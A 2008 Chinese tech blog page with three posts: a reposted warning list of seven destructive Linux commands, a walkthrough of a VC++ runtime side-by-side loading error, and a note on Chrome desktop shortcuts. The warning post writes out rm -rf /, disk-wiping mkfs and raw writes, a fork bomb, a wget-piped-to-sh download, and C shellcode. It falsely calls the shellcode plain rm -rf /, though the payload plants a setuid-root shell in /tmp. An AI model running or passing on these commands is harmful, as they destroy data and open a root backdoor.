Saturday, November 22, 2008

7个极具杀伤性的Linux命令zz

挺有意思的,呵呵。

如果您使用Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还是会对你的系统造成严重影响.
有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的余地.

1. Code:

rm -rf /

这个很简单,根目录会被擦光.
2. Code:

char esp[] __attribute__ ((section('.text'))) /* e.s.p
release */
= '\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68'
'\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99'
'\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7'
'\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56'
'\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31'
'\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69'
'\x6e\x2f\x73\x68\x00\x2d\x63\x00'
'cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;';

没看懂?呵呵,其实就是16进制的[rm -rf /].

3. Code:

mkfs.ext3 /dev/sda

抹盘行为无疑是危险的

4. Code:

:( ){ :| :&};:

这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机.

5. Code:

any_command > /dev/sda

这个命令将会写入大量的RAW数据,可以导致数据丢失.

6. Code:

wget http://some_untrusted_source -O- | sh

和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝卜一样,也不会保险.

7. Code:

mv /home/yourhomedirectory/* /dev/null

这条命令无疑会让系统抓狂,你的主目录会再也看不到.

Sunday, November 16, 2008

.net程序的运行问题:This application has failed to start because the application configuration is incorrect

在运行.net编译的程序时出现问题:This application has failed to start because the application configuration is incorrect, reinstalling the application may fix this problem:

这个问题大部分是因为使用了managed code导致的,对我来说已经非常常见了-_-b,解决方法有三种:
在出现问题的机器重新编译原工程;
用程序打包的方式发布程序到出现问题的机器;
尝试采用静态连接MFC的方式编译工程;
或是直接在出现问题的机器上安装vc redistribution package(vcredist.exe)

下面是篇有用的转载文章,可以参考。
from: http://tydbits.org/This-application-has-failed-to-start-because-the-application-configuration-is-incorrect

So we’ve created our managed C++ application, using Visual Studio 2005, and it was fun and surprisingly easy thanks to the C++/CLI, so we happily gave it to the QA or a customer, and— well, it didn’t take off, the operating system just refused to launch it. And the error message wasn’t very descriptive either:

Unhandled Exception: System.IO.FileLoadException: Could not load file or assembly 'cpp.managed, Version=..., Culture=..., PublicKeyToken=...' or one of its dependencies. <…>
---> System.Runtime.InteropServices.COMException (0x800736B1): This application has failed to start because the application configuration is incorrect. Reinstalling the application may fix this problem. (Exception from HRESULT: 0x800736B1)
at app.Main(String[] argv)

It’s a little bit less of information, than is needed to get clear understanding of what’s going on.

Configuration

Let’s imagine that we have the following components:

app.exe
cpp.managed.dll
cpp.native.dll

I.e. a managed application app.exe, which depends on a C++/CLI cpp.managed.dll, which in turn depends on a native cpp.native.dll.

Finding out what’s wrong

First of all, let’s open the Event Viewer, and try to find error messages with the Source = SideBySide.

Windows XP or Windows Server 2003

We are likely to get several entries in the “System” Event Log, neither of which has full version information of the missing dependency:

Generate Activation Context failed for cpp.managed.dll. Reference error message: The referenced assembly is not installed on your system.

Resolve Partial Assembly failed for Microsoft.VC80.CRT. Reference error message: The referenced assembly is not installed on your system.

Dependent Assembly Microsoft.VC80.CRT could not be found and Last Error was The referenced assembly is not installed on your system.

Vista

There we should find in the Event Log something like follows:

Activation context generation failed for "cpp.managed.dll". Dependent Assembly Microsoft.VC80.CRT, processorArchitecture="x86", publicKeyToken="1fc8b3b9a1e18e3b", type="win32", version="8.0.50727.762" could not be found. Please use sxstrace.exe for detailed diagnosis.

Fixing it

All we need is to deploy VC++ runtime to the target system.

For the purpose of our example let’s imagine that we didn’t want to redistribute VC++ CRT as shared assemblies (installing it into C:\Windows\WinSxS), but instead decided to redistribute them as private assemblies. Here’s how it can look like:

app.exe
cpp.managed.dll
cpp.native.dll
Microsoft.VC80.CRT.manifest
msvcm80.dll
msvcp80.dll
msvcr80.dll

How it can fail again, or split dependencies

Of course the life is not always easy. We did the above, and it still fails with the same error message. Well, now we know what to do, and we rush to the Event Viewer.

Windows XP or Windows Server 2003

In this case Event Log has something along the following lines:

Generate Activation Context failed for cpp.native.dll. Reference error message: A component version required by the application conflicts with another component version already active.

Unfortunately, the message does not mention neither the dependencies, nor their versions which conflict. To find that out we have several options of inspecting the cpp.native.dll manifest: * taking a look at the *.intermediate.manifest or *.embed.manifest files in the intermediate build directory, * using a resource editor or some other tool to view the manifest, actually embedded into the cpp.native.dll, * or we could just use a text viewer, and search for the “dependentAssembly” string in the binary.

E.g. here’s the output of a combination of strings and grep utilities (reformatted for readability):

> strings cpp.native.dll | grep dependentAssembly














Isn’t it strange, that we have dependency on two different versions of Microsoft.VC80.CRT? Well, with Visual Studio 2005 SP1 out it’s quite possible, and in our case cpp.native.dll indeed was linked with some static libraries, compiled with pre-SP version of Visual Studio 2005.

Vista

Due to the Vista improved side-by-side errors diagnostics, there Event Log should contain just enough information to understand what’s going on:

Activation context generation failed for "cpp.native.dll". Error in manifest or policy file “” on line . A component version required by the application conflicts with another component version already active. Conflicting components are:.
Component 1: C:\Windows\WinSxS\manifests\ x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.312_none_10b2ee7b9bffc2c7.manifest.
Component 2: Microsoft.VC80.CRT.MANIFEST.

Fixing it (again)

An obvious (and correct) solution is to rebuild all the libraries with the new version of Visual Studio 2005. If we cannot do it, or just want to save some time during development, and postpone rebuilding the dependencies for later time, we’d want to try workarounds, mentioned by Nikola Dudar in his blog:

  • Workaround#1:

    Install the newer version (8.0.50727.762 in this case) of VC++ MSMs or VCRedist.EXE on a machine where your application is going to run. Once policy for VC++ assemblies is installed on that machine they are going to redirect all loads of older versions (8.0.50608.0) to the newest version available on the machine.

Note that to apply this workaround we’d need to download the updated vcredist.exe.
  • Workaround#2:

    If you are redistributing VC++ libraries in application’s local folder, you need to add an application configuration file that redirects an attempt to load 8.0.50608.0 version to 8.0.50727.762 version. Configuration file has to have same name as the exe plus .config extension and has to be right next to exe or embedded into the EXE. Here is an example of a configuration file that one would use to resolve issue with the manifest from above:

For this to work in our case we’d need to apply some magic.

Friday, November 14, 2008

Gmail & Google reader with google chrome


Google chrome提供一个功能,就是把网页的快捷方式直接创建在桌面上,像一个应用程序的快捷方式一样,直接双击就可以进入该网页,对于Google的很多服务,如gmail和google reader等,还是很方便的,如果结合Google Gears,可以离线浏览网页应用的内容,这应该是云计算理念的一部分吧。

与IE/firefox的桌面快捷方式比较起来,Google chrome的快捷方式图标看起来更像个应用程序-_-b,用了V8虚拟机的引擎更快(尤其是对于Gmail),另外这种方式打开的Chrome框架非常简洁,只有一个标题和三个基本的最大最小关闭按钮,宣传的理念就是让用户更加专注应用本身的内容,而忽略作为框架的浏览器。



Google Chrome的问题目前还是非常多,不过虽然只是一个理念上的东西,这个应用还是很适合我的,想看什么直接双击就可以了,省得一天到晚开浏览器吃内存。